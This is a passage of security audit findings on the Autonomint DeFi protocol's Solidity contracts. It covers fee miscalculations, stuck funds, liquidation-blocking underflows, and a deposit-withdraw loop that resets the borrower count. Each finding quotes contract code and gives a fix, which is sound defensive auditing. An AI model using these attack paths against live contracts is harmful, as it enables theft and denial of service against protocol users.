+ (100 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.FIFTEEN) { optionPrice = baseOptionPrice + (50 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.TWENTY) { optionPrice = baseOptionPrice + (10 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.TWENTY_FIVE) { optionPrice = baseOptionPrice + (5 * OPTION_PRICE_PRECISION * baseOptionPrice) / //5 * x / (3 * a); } else { revert("Incorrect Strike Price"); } return ((optionPrice * _amount) / PRECISION) / USDA_PRECISION; //x*18/30 = 6 -> x = 18 } function testCalculateOptionPrice( uint256 _ethVolatility ) public view returns (uint256) { //set up mockup omni chain data uint256 noOfBorrowers = 1; uint256 totalCdsDepositedAmount = 10000e6; uint256 cdsPoolValue = 10000e6; StrikePrice _strikePrice = StrikePrice(1); uint256 _amount = 1e18; uint256 ethPrice = 4000e2; uint256 totalVolumeOfBorrowersAmountinUSD = 10e18 * ethPrice; uint256 a = _ethVolatility; // Calculate the current ETH vault value uint256 E = totalVolumeOfBorrowersAmountinUSD + (_amount * ethPrice); // Check the ETH vault is not zero require(E != 0, "No borrowers in protocol"); uint256 cdsVault; // If the there is no borrowers in borrowing, then the cdsVault value is deposited value itself if (noOfBorrowers == 0) { cdsVault = totalCdsDepositedAmount * USDA_PRECISION; } else { // Else, get the cds vault current value from omnichain global data cdsVault = cdsPoolValue * USDA_PRECISION; } // Check cds vault is non zero require(cdsVault != 0, "CDS Vault is zero"); // Calculate b, cdsvault to eth vault ratio uint256 b = (cdsVault * 1e2 * OPTION_PRICE_PRECISION) / E; uint256 baseOptionPrice = ((sqrt(10 * a * ethPrice)) * PRECISION) / OPTION_PRICE_PRECISION + ((3 * PRECISION * OPTION_PRICE_PRECISION) / b); // 1e18 is used to handle division precision uint256 optionPrice; // Calculate option fees based on strike price chose by user if (_strikePrice == StrikePrice.FIVE) { // constant has extra 1e3 and volatility have 1e8 optionPrice = baseOptionPrice + (400 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.TEN) { optionPrice = baseOptionPrice + (100 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.FIFTEEN) { optionPrice = baseOptionPrice + (50 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.TWENTY) { optionPrice = baseOptionPrice + (10 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else if (_strikePrice == StrikePrice.TWENTY_FIVE) { optionPrice = baseOptionPrice + (5 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a); } else { revert("Incorrect Strike Price"); } return ((optionPrice * _amount) / PRECISION) / USDA_PRECISION; } function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } }
volatility
should not be derived from user-input, but instead be set by an admin depending on the actual ETH volatility.
GlobalVariables::oftOrCollateralReceiveFromOtherChains()
calculates the fee as if it was the same in both chains, which is falseSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/795
0x73696d616f
GlobalVariables::oftOrCollateralReceiveFromOtherChains()
send a message to the other chain requesting token/eth transfers to the current chain. In the process, it forwards ETH to pay for the cross chain transfer from the destination to the current chain. However, it calculates the fee as if the direction was current to destination, when in reality it is the opposite and the fee will be different. Thus, it will either overchage or revert in the destination chain.
In GlobalVariables::oftOrCollateralReceiveFromOtherChains()
fee is calculated as if the direction is current to destination, when it is the opposite.
None.
None.
GlobalVariables::oftOrCollateralReceiveFromOtherChains()
is called, but the fee is incorrectly calculated.Overcharging of the fee or charging too little, which will lead to reverts on the destination chain.
See links.
Add a variable admin set to track the costs.
GlobalVariables::oftOrCollateralReceiveFromOtherChains()
always charges twice the collateral on COLLATERAL_TRANSFER
, which is not neededSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/798
0x73696d616f
GlobalVariables::oftOrCollateralReceiveFromOtherChains()
frequently occurs losses by forwarding too much ETH as it assumes collateral transfer always happen for the 2 tokens + eth, which is not true as it can just be ETH and it skips collateral transfers when the amount is null. This will happen on liquidations for example as the collateral my just be ETH and it needs to fetch ETH from the other chain, so the other chain will only send ETH and the 2 other collateral transfers can be skipped. However, they will still be payed here, taking the user the loss.
In GlobalVariables.sol:290/300
, collateral transfers are always charged even if amounts to send are null.
None.
None.
Losses keep being accrued as it overcharges fees.
See links above.
Check if the amount is null and only charge fees for both collateral tokens if the amount is non null.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/799
John44, Ruhum, almurhasan, pashap9990
The cached liquidated asset amount is never decreased causing the treasury to believe that it has more funds than it actual does.
In CDSLib.sol:687, it calls getLiquidatedCollateralToGive()
with the available liquidated assets set as liquidatedCollateralAmountInWei(x)
:
// call getLiquidatedCollateralToGive in cds library to get in which assests to give liquidated collateral ( totalWithdrawCollateralAmountInETH, params.ethAmount, weETHAmount, rsETHAmount, collateralToGetFromOtherChain ) = getLiquidatedCollateralToGive( CDSInterface.GetLiquidatedCollateralToGiveParam( params.ethAmount, weETHAmount, rsETHAmount, interfaces.treasury.liquidatedCollateralAmountInWei(IBorrowing.AssetName.ETH), interfaces.treasury.liquidatedCollateralAmountInWei(IBorrowing.AssetName.WeETH), interfaces.treasury.liquidatedCollateralAmountInWei(IBorrowing.AssetName.WrsETH), interfaces.treasury.totalVolumeOfBorrowersAmountLiquidatedInWei(), params.weETH_ExchangeRate, params.rsETH_ExchangeRate ) );
If the liquidatedCollateralAmountInWei
for a token is bigger than the amount of tokens the contract needs, it will simply transfer the whole amount in that single token, see CDSLib.sol:324
function getLiquidatedCollateralToGive( CDSInterface.GetLiquidatedCollateralToGiveParam memory param ) public pure returns (uint128, uint128, uint128, uint128, uint128) { // calculate the amount needed in eth value uint256 totalAmountNeededInETH = param.ethAmountNeeded + (param.weETHAmountNeeded * param.weETHExRate) / 1 ether + (param.rsETHAmountNeeded * param.rsETHExRate) / 1 ether; // calculate amount needed in weeth value uint256 totalAmountNeededInWeETH = (totalAmountNeededInETH * 1 ether) / param.weETHExRate; // calculate amount needed in rseth value uint256 totalAmountNeededInRsETH = (totalAmountNeededInETH * 1 ether) / param.rsETHExRate; uint256 liquidatedCollateralToGiveInETH; uint256 liquidatedCollateralToGiveInWeETH; uint256 liquidatedCollateralToGiveInRsETH; uint256 liquidatedCollateralToGetFromOtherChainInETHValue; // If this chain has sufficient amount if (param.totalCollateralAvailableInETHValue >= totalAmountNeededInETH) { // If total amount is avaialble in eth itself if (param.ethAvailable >= totalAmountNeededInETH) { liquidatedCollateralToGiveInETH = totalAmountNeededInETH; // If total amount is avaialble in weeth itself } else if (param.weETHAvailable >= totalAmountNeededInWeETH) { // ... } else if (param.rsETHAvailable >= totalAmountNeededInRsETH) { // ... } else { // ... } } else { // ... } return ( uint128(totalAmountNeededInETH), uint128(liquidatedCollateralToGiveInETH), uint128(liquidatedCollateralToGiveInWeETH), uint128(liquidatedCollateralToGiveInRsETH), uint128(liquidatedCollateralToGetFromOtherChainInETHValue) ); }
The given amount is then transferred from the treasury, see CDSLib.sol:825:
if (params.ethAmount != 0) { params.omniChainData.collateralProfitsOfLiquidators -= totalWithdrawCollateralAmountInETH; // Call transferEthToCdsLiquidators to tranfer eth interfaces.treasury.transferEthToCdsLiquidators( msg.sender, params.ethAmount ); }
The same thing applies to weETH and wrsETH as well.
The issue is that after a user has withdrawn their funds, the cached available asset amount isn't decreased. In the treasury contract, liquidatedCollateralAmountInWei
is only updated in the updateDepositedCollateralAmountInWei()
function where the value is increased:
function updateDepositedCollateralAmountInWei( IBorrowing.AssetName asset, uint256 amount ) external onlyCoreContracts { depositedCollateralAmountInWei[asset] -= amount; liquidatedCollateralAmountInWei[asset] += amount; }
So even after a user has withdrawn and the actual collateral asset balance has decreased, liquidatedCollateralAmountInWei()
will return the same value. That will cause the CDSLib contract to again try to send the full amount in that given token ignoring the fact that the treasury doesn't hold enough funds. When the transfer is executed it will revert, causing the tx to revert and the user's funds to be stuck.
none
none
none
CDS users who have opted into liquidation won't be able to withdraw their funds.
No response
The value should be decreased in withdrawUser()
.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/818
0x73696d616f, Audinarey
During borrower liquidation (liquidationType1()
) and withdrawal from the CDS, the yield from LRTs is updated and stored in the treasury.
File: CDSLib.sol 667: @> interfaces.treasury.updateYieldsFromLiquidatedLrts( // @audit SUBMITTED-HIGH: these funds are stuck forever in the treasury 668: weETHAmount - ((weETHAmountInETHValue * 1 ether) / params.weETH_ExchangeRate) + 669: rsETHAmount - ((rsETHAmountInETHValue * 1 ether) / params.rsETH_ExchangeRate) 670: ); File: borrowLiquidation.sol 265: uint256 yields = depositDetail.depositedAmount - ((depositDetail.depositedAmountInETH * 1 ether) / exchangeRate); 266: 267: // Update treasury data 268: treasury.updateTotalVolumeOfBorrowersAmountinWei(depositDetail.depositedAmountInETH); 269: treasury.updateTotalVolumeOfBorrowersAmountinUSD(depositDetail.depositedAmountUsdValue); 270: treasury.updateDepositedCollateralAmountInWei(depositDetail.assetName, depositDetail.depositedAmountInETH); 271: treasury.updateDepositedCollateralAmountInUsd(depositDetail.assetName, depositDetail.depositedAmountUsdValue); 272: treasury.updateTotalInterestFromLiquidation(totalInterestFromLiquidation); 273: @> treasury.updateYieldsFromLiquidatedLrts(yields); // @audit ??? questionable
The problem is that there is no way to for the protocol to retrieve these funds neither is it distributed to users elsewhere
No response
No response
No response
Yield form LRTs is stuck in the treasury without a way to withdraw them
No response
Consider inplementing a mechanism to withdraw or distribute this yield
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/840
0x37, 0x73696d616f, Cybrid, John44, LordAlive, Ocean_Sky, ParthMandale, Silvermist, futureHack, nuthan2x, t.aksoy
An underflow in cds profits computation can cause liquidation type 1 to revert.
Here is the formula for cds profits computation. It is possible that returnToTreasury (aka as borrowerDebt) can be greater than deposited amount value (((depositDetail.depositedAmountInETH * depositDetail.ethPriceAtDeposit) / BorrowLib.USDA_PRECISION) / 100) which can cause the formula to revert and DOS the liquidation type 1 process.
File: borrowLiquidation.sol 211: // Calculate the CDS profits, USDA precision is 1e12, @audit need to double check if profit formula is right logic or can underflow 212: uint128 cdsProfits = (((depositDetail.depositedAmountInETH * depositDetail.ethPriceAtDeposit) / BorrowLib.USDA_PRECISION) / 100) - returnToTreasury - returnToAbond;
Here is the details of returntoTreasury which is equivalent to borrower's debt amount during time of liquidation. This includes interest accumulated from loan creation up to liquidation time. If lastCumulativeRate reach a certain percentage like 126% in my example issue, borrowerDebt will become greater than deposited amount value ((depositDetail.depositedAmountInETH * depositDetail.ethPriceAtDeposit) / BorrowLib.USDA_PRECISION) / 100) which can cause underflow error.
File: borrowLiquidation.sol 204: // Calculate borrower's debt, rate precision is 1e27, this includes interest accumulated from creation of loan to liquidation 205: uint256 borrowerDebt = ((depositDetail.normalizedAmount * lastCumulativeRate) / BorrowLib.RATE_PRECISION); 206: uint128 returnToTreasury = uint128(borrowerDebt);
Here is the details of returnToAbond which represents 10% of deposited amount after subtracting returntotreasury.
File: borrowLiquidation.sol 209: uint128 returnToAbond = BorrowLib.calculateReturnToAbond(depositDetail.depositedAmountInETH, depositDetail.ethPriceAtDeposit, returnToTreasury);
File: BorrowLib.sol 137: function calculateReturnToAbond( 138: uint128 depositedAmount, 139: uint128 depositEthPrice, 140: uint128 returnToTreasury 141: ) public pure returns (uint128) { 142: // 10% of the remaining amount, USDA precision is 1e12 143: return (((((depositedAmount * depositEthPrice) / USDA_PRECISION) / 100) - returnToTreasury) * 10) / 100; 144: }
Regarding the lastcumulativerate on how it exactly increases, it can be computed by the following below. In line 245, there is _rpow computation in which time interval, interest rate per second are factors in increasing the last cumulative rate. The more time the loan is not liquidated or not paid, the more the loan get bigger due to interest rate which will eventually reach 126%. The cumulative rate variable should start or set at around 100% based on set APR after protocol deployed the borrowing contract, so the very first loan will use the cumulative rate at this rate, then will increase from there moving forward.
File: BorrowLib.sol 222: /** 223: * @dev calculates cumulative rate 224: * @param noOfBorrowers total number of borrowers in the protocol 225: * @param ratePerSec interest rate per second 226: * @param lastEventTime last event timestamp 227: * @param lastCumulativeRate previous cumulative rate 228: */ 229: function calculateCumulativeRate( 230: uint128 noOfBorrowers, 231: uint256 ratePerSec, 232: uint128 lastEventTime, 233: uint256 lastCumulativeRate 234: ) public view returns (uint256) { 235: uint256 currentCumulativeRate; 236: 237: // If there is no borrowers in the protocol 238: if (noOfBorrowers == 0) { 239: // current cumulative rate is same as ratePeSec 240: currentCumulativeRate = ratePerSec; 241: } else { 242: // Find time interval between last event and now 243: uint256 timeInterval = uint128(block.timestamp) - lastEventTime; 244: //calculate cumulative rate 245: currentCumulativeRate = lastCumulativeRate * _rpow(ratePerSec, timeInterval, RATE_PRECISION); 246: currentCumulativeRate = currentCumulativeRate / RATE_PRECISION; 247: } 248: return currentCumulativeRate; 249: }
Let's further discuss the exact situation on the attack path to describe the issue on more details.
If the cumulative rate exceed certain percentage like 125% in my sample issue, it will cause revert to the cds profits computation.
No response
Let's consider this scenario wherein the
Borrower deposit details at time of loan creation:
Deposited amount in eth = 50 eth
Ether price at deposit time = 3000 usd price of 1 Eth per oracle during deposit
During time of liquidation
lastCumulativerate is 126% or 1.26e27
Let's compute first the returnToTreasury or borrower's debt during time of liquidation. In this case, we use 126% to represent the borrower's debt value in percentage. It increased to that figure due to interest accumulated since loan creation up to liquidation. The amount of returnToTreasury here is 1.512e11 or 151,200 usd
Let's compute the returnToabond as part also of formula, in this case, we already encountered a problem of underflow error due to subtraction of larger returnToTreasury. See below
As you can see in this CDS profit computation below, there is already underflow error when the bigger returnToTreasury is subtracted to deposited amount value.
Here is the link of google sheet for computation copy
Interruption of liquidation type 1 process. The loan is not liquidatable.
See attack path
Revise the computation of cds profits, it should not revert in any way possible so the liquidation won't be interrupted.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/890
0x23r0, 0x37, 0xAristos, Audinarey, DenTonylifer, John44, itcruiser00, maxim371, newspacexyz, santiellena, t.aksoy, theweb3mechanic, valuevalk, volodya
No response
When a borrower calls _withdraw()
the funds sent with the call to cover any crosschain transactions is only returned when there the position does not need to be protected on the downside
File: borrowing.sol 687: {if (result.downsideProtected > 0) { 688: _getDownsideFromCDS(result.downsideProtected, msg.value - fee.nativeFee); 689: } else { 690: // Send the remaining ETH to Borrower 691: @> (bool sent, ) = payable(toAddress).call{value: msg.value - fee.nativeFee}(""); 692: if (!sent) revert Borrow_TransferFailed(); 693: }
The developer wrongly assumes that provided the result.downsideProtected > 0
then there must be a cross chain call to request funds to cover the downside.
This is not true considering the implementaion of the _getDownsideFromCDS()
function as shown below
File: borrowing.sol 721: function _getDownsideFromCDS( 722: uint128 downsideProtected, 723: uint256 feeForOFT 724: ) internal { 725: if (cds.getTotalCdsDepositedAmount() < downsideProtected) { 726: // Call the oftOrCollateralReceiveFromOtherChains function in global variables 727: globalVariables.oftOrCollateralReceiveFromOtherChains{value: feeForOFT}( 728: IGlobalVariables.FunctionToDo(3), 729: IGlobalVariables.USDaOftTransferData(address(treasury),downsideProtected - cds.getTotalCdsDepositedAmount()), 730: // Since we don't need ETH, we have passed zero params 731: IGlobalVariables.CollateralTokenTransferData(address(0),0,0,0), 732: IGlobalVariables.CallingFunction.BORROW_WITHDRAW, 733: msg.sender 734: ); 735: } else { 736: // updating downside protected from this chain in CDS 737: cds.updateDownsideProtected(downsideProtected); 738: } 739: // Burn the borrow amount 740: treasury.approveTokens(IBorrowing.AssetName.USDa, address(this), downsideProtected); 741: bool success = usda.contractBurnFrom(address(treasury), downsideProtected); 742: if (!success) revert Borrow_BurnFailed(); 743: }
Notice that the cross-chain request is invoke only when the current TotalCdsDepositedAmount
is not enough to cover the accrued downsideProtected
.
Hence in a situation where the funds in the current chain are enough to cover the downside, the funds sent for fees are not refunded
No response
No response
No response
Funds sent to cover fees are not refunded even when they are not used leadng to loss of funds and there is not way to sweep them out of the `borrowing contract.
No response
Consider reimplementing the logic for the fee reversal during withdrawal
cds.getTotalCdsDepositedAmount() < downsideProtected
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/911
0x73696d616f, Audinarey, nuthan2x, tjonair, volodya
The borrowing::_withdraw
is used to withdraw collateral from the protocol and burn USDa.
Here, borrowing::_getDownsideFromCDS
is called to update the downside protected if cds.getTotalCdsDepositedAmount() >= downsideProtected
otherwise fetch the shortage from other chain via layerzero call.
function _getDownsideFromCDS( uint128 downsideProtected, uint256 feeForOFT ) internal { if (cds.getTotalCdsDepositedAmount() < downsideProtected) { // Call the oftOrCollateralReceiveFromOtherChains function in global variables globalVariables.oftOrCollateralReceiveFromOtherChains{value: feeForOFT}( IGlobalVariables.FunctionToDo(3), IGlobalVariables.USDaOftTransferData(address(treasury),downsideProtected - cds.getTotalCdsDepositedAmount()), // Since we don't need ETH, we have passed zero params IGlobalVariables.CollateralTokenTransferData(address(0),0,0,0), IGlobalVariables.CallingFunction.BORROW_WITHDRAW, msg.sender ); } else { // updating downside protected from this chain in CDS cds.updateDownsideProtected(downsideProtected); } // Burn the borrow amount treasury.approveTokens(IBorrowing.AssetName.USDa, address(this), downsideProtected); bool success = usda.contractBurnFrom(address(treasury), downsideProtected); if (!success) revert Borrow_BurnFailed(); }
As we can see cds.updateDownsideProtected(downsideProtected)
is called to update the entire downsideProtected
atCDS::downsideProtected
variable.
However, in case of cds.getTotalCdsDepositedAmount() < downsideProtected
, we get the lacking USDa
from other chain via layerzero call, here we fail to update the CDS::downsideProtected
.
Hence, the downsideProtected
will be short, which will eventually reduce less downside protected when _updateCurrentTotalCdsDepositedAmount
is called in CDS::deposit
function _updateCurrentTotalCdsDepositedAmount() private { if (downsideProtected > 0) { totalCdsDepositedAmount -= downsideProtected; <@ totalCdsDepositedAmountWithOptionFees -= downsideProtected; <@ downsideProtected = 0; } }
This totalCdsDepositedAmount
is used for calculating calculateCumulativeValue
inside the CDSLib::deposit
function, that will inflate the omnichain cumulative value, this will lead to CDS withdrawers will get a higher optionFees
function withdraw( uint64 index, uint256 excessProfitCumulativeValue, uint256 nonce, bytes memory signature ) external payable nonReentrant whenNotPaused(IMultiSign.Functions(5)) { // rest of the code IGlobalVariables.OmniChainData memory omniChainData = globalVariables.getOmniChainData(); // Calculate current value CalculateValueResult memory result = _calculateCumulativeValue( omniChainData.totalVolumeOfBorrowersAmountinWei, omniChainData.totalCdsDepositedAmount, ethPrice ); // Set the cumulative vaue (omniChainData.cumulativeValue, omniChainData.cumulativeValueSign) = getCumulativeValue( omniChainData, result.currentValue, result.gains ); // updating totalCdsDepositedAmount by considering downsideProtected _updateCurrentTotalCdsDepositedAmount(); // updating global data if (omniChainData.downsideProtected > 0) { omniChainData.totalCdsDepositedAmount -= omniChainData.downsideProtected; omniChainData.totalCdsDepositedAmountWithOptionFees -= omniChainData.downsideProtected; omniChainData.downsideProtected = 0; } // Calculate return amount includes eth Price difference gain or loss option fees uint256 optionFees = ((cdsDepositDetails.normalizedAmount * omniChainData.lastCumulativeRate) / <@ (CDSLib.PRECISION * CDSLib.NORM_PRECISION)) - cdsDepositDetails.depositedAmount; // Calculate the options fees to get from other chains uint256 optionsFeesToGetFromOtherChain = getOptionsFeesProportions(optionFees); // Update user deposit data cdsDepositDetails.withdrawedTime = uint64(block.timestamp); cdsDepositDetails.ethPriceAtWithdraw = ethPrice; uint256 currentValue = cdsAmountToReturn( msg.sender, index, omniChainData.cumulativeValue, omniChainData.cumulativeValueSign, excessProfitCumulativeValue ) - 1; //? subtracted extra 1 wei cdsDepositDetails.depositedAmount = currentValue; uint256 returnAmount = cdsDepositDetails.depositedAmount + optionFees; <@ cdsDepositDetails.withdrawedAmount = returnAmount; // rest of the code }
In borrowing.sol:726
, there is a missing updateDownsideProtected
call. Allowing to inflate the cumulative value.
No response
No response
No response
CDS::withdraw
, where the downside protection shortfall is fulfilled via layer zero call.No response
It is recommended to update downside protection for the amount not borrowed from other chain
function _getDownsideFromCDS( uint128 downsideProtected, uint256 feeForOFT ) internal { if (cds.getTotalCdsDepositedAmount() < downsideProtected) { // Call the oftOrCollateralReceiveFromOtherChains function in global variables + cds.updateDownsideProtected(downsideProtected); globalVariables.oftOrCollateralReceiveFromOtherChains{value: feeForOFT}( IGlobalVariables.FunctionToDo(3), IGlobalVariables.USDaOftTransferData(address(treasury),downsideProtected - cds.getTotalCdsDepositedAmount()), // Since we don't need ETH, we have passed zero params IGlobalVariables.CollateralTokenTransferData(address(0),0,0,0), IGlobalVariables.CallingFunction.BORROW_WITHDRAW, msg.sender ); } else { // updating downside protected from this chain in CDS cds.updateDownsideProtected(downsideProtected); } // Burn the borrow amount treasury.approveTokens(IBorrowing.AssetName.USDa, address(this), downsideProtected); bool success = usda.contractBurnFrom(address(treasury), downsideProtected); if (!success) revert Borrow_BurnFailed(); }
Treasury.noOfBorrowers
can be set to 0 by looping wei deposit<->withdrawals and DoS withdrawals and reset borrower debtSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/929
0x23r0, 0x73696d616f, 0xbakeng, newspacexyz, pashap9990, santiellena, t.aksoy, volodya
Treasury.noOfBorrowers
is increased when a user deposits for the first time, as the index is 0. Then, it is decreased when borrowing[borrower].depositedAmountInETH
becomes 0, which happens when the last deposit of the user is withdrawn.
The issue with this approach is that when the same user redeposits, noOfBorrowers
will not be increased, as borrowing[user].hasDeposited
is true, but when this same user withdraws, it is decreased. Thus, it's possible to reduce Treasury.noOfBorrowers
to 0, regardless of the actual number of deposits.
In the Treasury
, the number of borrowers is increased and decreased in different ways, leading to incorrect behaviour as explained above.
None.
None.
treasury.noOfBorrowers
to 0.treasury.noOfBorrowers
underflows when they try and 2) the debt will be reset to 0 even though there are deposits that have accrued debt.DoSed withdrawals and debt reset for all borrowers, taking the protocol the loss and users are DoSed.
None.
Increase and decrease the number of borrowers symmetrically.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/942
0x37, Audinarey, Aymen0909, John44, LordAlive, ParthMandale, PeterSR, futureHack, nuthan2x, valuevalk
liquidationType2 takes 50% of a liquidated user's collateral and transfers it to Synthethix. To do that it first must convert the collateral into WETH and after that the WETH to sETH. After that the sETH is converted into sUSD and used to submit an offchain delayed order in Synthetix for short position with 1X leverage. The issue is that the sizeDelta
parameter of the call to submitOffchainDelayedOrder
is scaled incorrectly, causing the call to revert.
In liquidationType2
when a call is made to submitOffchainDelayedOrder
the following value is passed for the sizeDelta
/first parameter:
synthetixPerpsV2.submitOffchainDelayedOrder( -int((uint(margin * 1 ether * 1e16) / currentEthPrice)), currentEthPrice * 1e16 );
As we an see the first parameter will have the following decimal precision:
-margin: 18 decimals
-1 ether: 18 decimals
-1e16: 16 decimals
-currentEthPrice: 2 decimals
Therefore, 18 + 18 + 16 - 2 = 50 decimal places. This is problematic as the decimals are too high and will cause the call to Synthetix to revert. The sizeDelta
must instead be: 'sizeDelta: A wei value of the size in units of the asset being traded' per the Synthetix documentations, therefore, it should have 18 decimal places instead.
https://docs.synthetix.io/v3/for-perp-integrators/perps-v3#:~:text=sizeDelta,asset%20being%20traded
No response
No response
liquidationType2
.sizeDelta
of submitOffchainDelayedOrder
is significantly higher than it should be.Users will fail to be liquidated through liquidationType2
.
No response
Make sure to use the appropriate decimal scaling when calling submitOffchainDelayedOrder
.
CDSLib::calculateCumulativeRate()
incorrectly only increment the local option fees when there are cds depositsSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/946
0x73696d616f
CDSLib::calculateCumulativeRate()
adds option fees to _totalCdsDepositedAmountWithOptionFees
if _totalCdsDepositedAmount
is not null, skipping if it is null.
The problem is that the 20% ratio of cds pool depositors to borrowers is calculated on the global cds depositors, not the local, so a chain can have 0 cds depositors but still have borrowers depositing and adding option fees. However, these option fees will not be tracked locally and will not be redeemable, underflowing when the other chain tries to fetch the option fees from the local chain.
In CDSLib.sol:174
, _totalCdsDepositedAmountWithOptionFees
is skipped summing option fees if total cds depositors in the chain is null.
None.
None.
_totalCdsDepositedAmountWithOptionFees
, which remains 0.Stuck option fees.
None.
Always add the option fees.
lastCumulativeRate
in depositTokens()
and withdraw()
Functions in Borrowings
ContractSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/961
0x37, 0x73696d616f, 0xAadi, Cybrid, EgisSecurity, John44, LZ_security, OrangeSantra, Pablo, RampageAudit, Ruhum, almurhasan, gss1, pashap9990, super_jack, t.aksoy
The depositTokens()
and withdraw()
functions in the Borrowing
contract exhibit inconsistent use of the lastCumulativeRate
. This inconsistency arises because the lastCumulativeRate
is used in calculations before it is updated, leading to potential inaccuracies in interest calculations among multiple transactions.
In both depositTokens()
and withdraw()
functions, lastCumulativeRate
is passed to BorrowLib.deposit()
and BorrowLib.withdraw()
respectively, before calling calculateCumulativeRate()
to update it.
totalNormalizedAmount = BorrowLib.deposit( BorrowLibDeposit_Params( LTV, APR, @> lastCumulativeRate, totalNormalizedAmount, exchangeRate, ethPrice, lastEthprice ), depositParam, Interfaces(treasury, globalVariables, usda, abond, cds, options), assetAddress ); //Call calculateCumulativeRate() to get currentCumulativeRate @> calculateCumulativeRate(); lastEventTime = uint128(block.timestamp);
BorrowWithdraw_Result memory result = BorrowLib.withdraw( depositDetail, BorrowWithdraw_Params( toAddress, index, ethPrice, exchangeRate, withdrawTime, lastCumulativeRate, totalNormalizedAmount, bondRatio, collateralRemainingInWithdraw, collateralValueRemainingInWithdraw ), Interfaces(treasury, globalVariables, usda, abond, cds, options) ); . . lastEventTime = uint128(block.timestamp);} // Call calculateCumulativeRate function to get the interest @> calculateCumulativeRate();
And the lastCumulativeRate
is used to calculate normalizedAmount
and borrowerDebt
// Calculate normalizedAmount uint256 normalizedAmount = calculateNormAmount(tokensToMint, libParams.lastCumulativeRate);
// Calculate th borrower's debt uint256 borrowerDebt = calculateDebtAmount(depositDetail.normalizedAmount, params.lastCumulativeRate);
This results in using an outdated cumulative rate for the first transaction, while subsequent transactions use the updated rate, causing discrepancies.
No response
No response
lastCumulativeRate
, while the second uses the updated rate.The first transaction uses an outdated cumulative rate, while subsequent transactions use the updated cumulative rate, leading to incorrect interest calculations. This discrepancy causes inconsistencies in the normalized deposit amount and borrower debt, potentially affecting the protocol's financial accuracy .
No response
Ensure that calculateCumulativeRate()
is called at the beginning of both the depositTokens()
and withdraw()
functions to update lastCumulativeRate
before it is used in any calculations. This ensures that all transactions use the most current cumulative rate.
liquidationType2()
will always due wrong assumption that Asset:sAsset are minted 1:1Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/962
Audinarey, John44, pashap9990
No response
The problem is that the developer wrongly assumes ETH:sETH is minted 1:1 and as such an equivalent amount of sETH
is received when wrapper::mint()
was called and as such when synthetix.exchange()
is called it attempts to transfer more than the amount of sETH
it actually has to exchange for sUSD
File: borrowLiquidation.sol 324: function liquidationType2( //@audit SUBMITTED-MED: missing omnichainData update (sponsor confirmed) 325: address user, 326: uint64 index, 327: uint64 currentEthPrice 328: ) internal { ///// ..................... 348: @> wrapper.mint(amount); 349: // Exchange sETH with sUSD 350: synthetix.exchange( 351: 0x7345544800000000000000000000000000000000000000000000000000000000, 352: @> amount, 353: 0x7355534400000000000000000000000000000000000000000000000000000000 354: );
A look at the wrapper::mint()
function in the wrapper
contract shows that fee are removed from from the input amount during minting
function mint(uint amountIn) external notPaused issuanceActive { /// ................... @> (uint feeAmountTarget, bool negative) = calculateMintFee(actualAmountIn); @> uint mintAmount = negative ? actualAmountIn.add(feeAmountTarget) : actualAmountIn.sub(feeAmountTarget); // Transfer token from user. bool success = _safeTransferFrom(address(token), msg.sender, address(this), actualAmountIn); require(success, "Transfer did not succeed"); // Mint tokens to user @> _mint(mintAmount); emit Minted(msg.sender, mintAmount, negative ? 0 : feeAmountTarget, actualAmountIn); }
The amount of sAsset actually received is less minting fees and as such calling exchange with
amount` will revert
No response
No response
No response
This can lead to a DOS using liquidationType2()
No response
considering caching the actual balance of sETH received from the wrapper and use it to call
exchange()`
calculateCumulativeRate
in _withdraw
Results in Erroneous Interest CalculationSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1003
0x37, 0xAadi, Abhan1041, Cybrid, EgisSecurity, LordAlive, ParthMandale, RampageAudit, Silvermist, futureHack, newspacexyz, nuthan2x, onthehunt, smbv-1923, super_jack, vatsal, volodya
In the Borrowing::_withdraw function, the calculateCumulativeRate method is invoked after the lastEventTime variable is updated to the current block.timestamp.
Here's the relevant portion of the function:
function _withdraw( address toAddress, uint64 index, bytes memory odosAssembledData, uint64 ethPrice, uint128 exchangeRate, uint64 withdrawTime ) internal { ... lastEventTime = uint128(block.timestamp); } // Call calculateCumulativeRate function to get the interest calculateCumulativeRate(); ... }
The calculateCumulativeRate function internally calls a method from BorrowLib and passes the lastEventTime—which was updated just before this call—as a parameter.
Here's the code for calculateCumulativeRate:
function calculateCumulativeRate() public returns (uint256) { uint128 noOfBorrowers = treasury.noOfBorrowers(); uint256 currentCumulativeRate = BorrowLib.calculateCumulativeRate( noOfBorrowers, ratePerSec, lastEventTime, lastCumulativeRate ); lastCumulativeRate = currentCumulativeRate; return currentCumulativeRate; }
In BorrowLib.calculateCumulativeRate, the currentCumulativeRate is calculated using the difference between the current block.timestamp and the lastEventTime. This difference is referred to as timeInterval.
However, since lastEventTime is updated to block.timestamp before the call to calculateCumulativeRate, the timeInterval becomes 0. This causes the interest to remain unchanged, as no meaningful time difference is accounted for in the calculations. This issue prevents the proper update of the cumulative rate and leaves it at its previous value.
